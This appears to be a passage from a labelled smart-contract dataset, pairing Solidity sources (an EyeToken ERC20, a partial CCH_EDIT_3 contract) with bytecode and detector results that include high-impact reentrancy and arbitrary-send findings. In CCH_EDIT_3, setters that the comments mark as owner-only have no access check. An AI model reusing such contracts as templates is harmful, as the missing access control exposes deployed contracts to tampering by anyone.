d565b6006556007546119d5908261190f565b6007555050565b60008080806119f660646119f08989611a81565b9061169b565b90506000611a0960646119f08a89611a81565b90506000611a2182611a1b8b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a408886611a81565b90506000611a4e8887611a81565b90506000611a5c8888611a81565b90506000611a6e82611a1b86866118cd565b939b939a50919850919650505050505050565b600082611a9057506000610698565b6000611a9c8385611f6d565b905082611aa98583611f4b565b146114ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611b3681611b16565b919050565b60006020808385031215611b4e57600080fd5b823567ffffffffffffffff80821115611b6657600080fd5b818501915085601f830112611b7a57600080fd5b813581811115611b8c57611b8c611b00565b8060051b604051601f19603f83011681018181108582111715611bb157611bb1611b00565b604052918252848201925083810185019188831115611bcf57600080fd5b938501935b82851015611bf457611be585611b2b565b84529385019392850192611bd4565b98975050505050505050565b600060208083528351808285015260005b81811015611c2d57858101830151858201604001528201611c11565b81811115611c3f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6857600080fd5b8235611c7381611b16565b946020939093013593505050565b600080600060608486031215611c9657600080fd5b8335611ca181611b16565b92506020840135611cb181611b16565b929592945050506040919091013590565b600060208284031215611cd457600080fd5b81356114ba81611b16565b80358015158114611b3657600080fd5b600060208284031215611d0157600080fd5b6114ba82611cdf565b600060208284031215611d1c57600080fd5b5035919050565b60008060008060808587031215611d3957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6a57600080fd5b833567ffffffffffffffff80821115611d8257600080fd5b818601915086601f830112611d9657600080fd5b813581811115611da557600080fd5b8760208260051b8501011115611dba57600080fd5b602092830195509350611dd09186019050611cdf565b90509250925092565b60008060408385031215611dec57600080fd5b8235611df781611b16565b91506020830135611e0781611b16565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8757611e87611e5d565b5060010190565b600060208284031215611ea057600080fd5b81516114ba81611b16565b60008219821115611ebe57611ebe611e5d565b500190565b600082821015611ed557611ed5611e5d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2a5784516001600160a01b031683529383019391830191600101611f05565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8757611f87611e5d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203576bc0263dd5dc7b78b9ad3557a42fe56c44bc1374eb906688ec0ac098980f964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,731 |
0x3dad0c9bc7a87e64593c4c0363aa3a33e20c093d
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Invalid owner");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract EyeToken is ERC20, Ownable {
using SafeMath for uint256;
struct Frozen {
bool frozen;
uint until;
}
string public name = "EyeCoin";
string public symbol = "EYE";
uint8 public decimals = 18;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
mapping(address => Frozen) public frozenAccounts;
uint256 internal totalSupplyTokens;
bool internal isICO;
address public wallet;
function EyeToken() public Ownable() {
wallet = msg.sender;
isICO = true;
totalSupplyTokens = 10000000000 * 10 ** uint256(decimals);
balances[wallet] = totalSupplyTokens;
}
/**
* @dev Finalize ICO
*/
function finalizeICO() public onlyOwner {
isICO = false;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupplyTokens;
}
/**
* @dev Freeze account, make transfers from this account unavailable
* @param _account Given account
*/
function freeze(address _account) public onlyOwner {
freeze(_account, 0);
}
/**
* @dev Temporary freeze account, make transfers from this account unavailable for a time
* @param _account Given account
* @param _until Time until
*/
function freeze(address _account, uint _until) public onlyOwner {
if (_until == 0 || (_until != 0 && _until > now)) {
frozenAccounts[_account] = Frozen(true, _until);
}
}
/**
* @dev Unfreeze account, make transfers from this account available
* @param _account Given account
*/
function unfreeze(address _account) public onlyOwner {
if (frozenAccounts[_account].frozen) {
delete frozenAccounts[_account];
}
}
/**
* @dev allow transfer tokens or not
* @param _from The address to transfer from.
*/
modifier allowTransfer(address _from) {
assert(!isICO);
if (frozenAccounts[_from].frozen) {
require(frozenAccounts[_from].until != 0 && frozenAccounts[_from].until < now, "Frozen account");
delete frozenAccounts[_from];
}
_;
}
/**
* @dev transfer tokens for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
bool result = _transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return result;
}
/**
* @dev transfer tokens for a specified address in ICO mode
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferICO(address _to, uint256 _value) public onlyOwner returns (bool) {
assert(isICO);
require(_to != address(0), "Zero address 'To'");
require(_value <= balances[wallet], "Not enought balance");
balances[wallet] = balances[wallet].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(wallet, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public allowTransfer(_from) returns (bool) {
require(_value <= allowed[_from][msg.sender], "Not enought allowance");
bool result = _transfer(_from, _to, _value);
if (result) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
return result;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev transfer token for a specified address
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint256 _value) internal allowTransfer(_from) returns (bool) {
require(_to != address(0), "Zero address 'To'");
require(_from != address(0), "Zero address 'From'");
require(_value <= balances[_from], "Not enought balance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a7578063144b2a821461020c57806318160ddd1461027157806323b872dd1461029c57806323cc75a81461032157806324bce60c14610338578063313ce5671461038557806345c8b1a6146103b6578063521eb273146103f9578063661884631461045057806370a08231146104b5578063860838a51461050c5780638d1fdf2f1461056e5780638da5cb5b146105b157806395d89b4114610608578063a9059cbb14610698578063d73dd623146106fd578063dd62ed3e14610762578063f2fde38b146107d9575b600080fd5b34801561012357600080fd5b5061012c61081c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ba565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610257600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ac565b604051808215151515815260200191505060405180910390f35b34801561027d57600080fd5b50610286610e07565b6040518082815260200191505060405180910390f35b3480156102a857600080fd5b50610307600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b34801561032d57600080fd5b50610336611272565b005b34801561034457600080fd5b50610383600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611353565b005b34801561039157600080fd5b5061039a6114c0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103c257600080fd5b506103f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d3565b005b34801561040557600080fd5b5061040e61164e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045c57600080fd5b5061049b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611674565b604051808215151515815260200191505060405180910390f35b3480156104c157600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611905565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194e565b60405180831515151581526020018281526020019250505060405180910390f35b34801561057a57600080fd5b506105af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061197f565b005b3480156105bd57600080fd5b506105c6611a51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061457600080fd5b5061061d611a76565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a457600080fd5b506106e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b14565b604051808215151515815260200191505060405180910390f35b34801561070957600080fd5b50610748600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b93565b604051808215151515815260200191505060405180910390f35b34801561076e57600080fd5b506107c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d8f565b6040518082815260200191505060405180910390f35b3480156107e557600080fd5b5061081a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e16565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b25780601f10610887576101008083540402835291602001916108b2565b820191906000526020600020905b81548152906001019060200180831161089557829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900460ff161515610a8a57fe5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5a65726f20616464726573732027546f2700000000000000000000000000000081525060200191505060405180910390fd5b60046000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420656e6f756768742062616c616e63650000000000000000000000000081525060200191505060405180910390fd5b610c7c8260046000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b60046000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3382600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600754905090565b60008084600860009054906101000a900460ff16151515610e2e57fe5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610fea576000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414158015610f17575042600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154105b1515610f8b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f46726f7a656e206163636f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff0219169055600182016000905550505b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484111515156110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4e6f7420656e6f7567687420616c6c6f77616e6365000000000000000000000081525060200191505060405180910390fd5b6110e9868686612074565b915081156112665761118084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b81925050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b600081148061143257506000811415801561143157504281115b5b156114bc57604080519081016040528060011515815260200182815250600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101559050505b5050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561164b57600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff0219169055600182016000905550505b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611785576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611819565b611798838261203d90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60066020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154905082565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b611a4e816000611353565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b0c5780601f10611ae157610100808354040283529160200191611b0c565b820191906000526020600020905b815481529060010190602001808311611aef57829003601f168201915b505050505081565b600080611b22338585612074565b90508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38091505092915050565b6000611c2482600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205690919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611eda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f5a65726f2061646472657373000000000000000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561204b57fe5b818303905092915050565b600080828401905083811015151561206a57fe5b8091505092915050565b600083600860009054906101000a900460ff1615151561209057fe5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561224c576000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414158015612179575042600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154105b15156121ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f46726f7a656e206163636f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff0219169055600182016000905550505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5a65726f20616464726573732027546f2700000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515612396576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5a65726f2061646472657373202746726f6d270000000000000000000000000081525060200191505060405180910390fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561244d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420656e6f756768742062616c616e63650000000000000000000000000081525060200191505060405180910390fd5b61249f83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205690919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505093925050505600a165627a7a72305820b8ecea9d2200380f858c7fb544c4fcf5aaa9ca2ebdfc3d671e2403c50846a7280029
|
{"success": true, "error": null, "results": {}}
| 8,732 |
0xa2041ee83e006519498827382a90fef1844c90ec
|
pragma solidity ^0.4.8 ;
contract CCH_EDIT_3 {
address owner ;
function CCH_EDIT_3 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_1 = " une première phrase " ;
function setCCH_edit_1 ( string newCCH_edit_1 ) public {
inCCH_edit_1 = newCCH_edit_1 ;
}
function getCCH_edit_1 () public constant returns ( string ) {
return inCCH_edit_1 ;
}
// 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_2 = " une première phrase " ;
function setCCH_edit_2 ( string newCCH_edit_2 ) public {
inCCH_edit_2 = newCCH_edit_2 ;
}
function getCCH_edit_2 () public constant returns ( string ) {
return inCCH_edit_2 ;
}
// 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_3 = " une première phrase " ;
function setCCH_edit_3 ( string newCCH_edit_3 ) public {
inCCH_edit_3 = newCCH_edit_3 ;
}
function getCCH_edit_3 () public constant returns ( string ) {
return inCCH_edit_3 ;
}
// 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_4 = " une première phrase " ;
function setCCH_edit_4 ( string newCCH_edit_4 ) public {
inCCH_edit_4 = newCCH_edit_4 ;
}
function getCCH_edit_4 () public constant returns ( string ) {
return inCCH_edit_4 ;
}
// 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_5 = " une première phrase " ;
function setCCH_edit_5 ( string newCCH_edit_5 ) public {
inCCH_edit_5 = newCCH_edit_5 ;
}
function getCCH_edit_5 () public constant returns ( string ) {
return inCCH_edit_5 ;
}
// 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inCCH_edit_6 = " une première phrase " ;
function setCCH_edit_6 ( string newCCH_edit_6 ) public {
inCCH_edit_6 = newCCH_edit_6 ;
}
function getCCH_edit_6 () public constant returns ( string ) {
return inCCH_edit_6 ;
}
